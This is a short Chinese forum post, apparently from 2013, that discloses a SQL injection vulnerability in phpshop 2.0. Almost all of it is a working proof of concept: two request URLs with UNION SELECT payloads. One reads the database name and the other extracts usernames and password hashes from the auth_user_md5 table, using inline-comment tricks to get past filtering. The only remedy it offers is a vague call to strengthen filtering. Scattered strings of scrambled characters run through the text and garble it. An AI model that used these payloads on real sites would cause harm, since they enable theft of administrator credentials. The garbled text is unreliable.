标题 : phpshop 2.0 SQL Injection Vulnerability
/ p, h' N! Q8 o5 \2 p! g' D1 [# ~) U# M% p* m. L7 \& g
作者 : By onestree
1 R5 M9 J& E E& H5 l下载地址 : http://code.google.com/p/phpshop/downloads/list. Z1 n! v8 ^- Z8 z9 l$ r7 y: A5 v
测试地址: windows 7 / ubuntu
. y+ b- a* Z C) Y' h8 L3 i - e D) O7 g @1 O
t t& U1 O4 o+ o$ i4 B
SQLi p0c:6 X# a+ F" {1 F. Y% ]. w
' B( q$ ^: i7 x5 }& ]4 T$ N
==================' C( A9 M; g, x- e
/ v2 m# ^2 z% I- [+ V+ c. K
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
) z$ u; m1 U! R8 c: Z6 uunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --3 V$ _$ ^/ a' |3 i
7 ^; s; B- M9 u; T2 a
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--# }! ~5 n+ O. Z: Q8 k8 r
& I! ^! N( a* Q' O: B( c修复：4 u6 D3 u" t* x: N1 Z
加强过滤
$ p7 U9 _9 ]! T5 r6 ~3 ^+ ~0 f, Z; X5 d! {3 n0 k
' z" `. j( j, G' E: O+ q! {) e
|
发表于 2013-1-18 18:24:10
收藏
支持
反对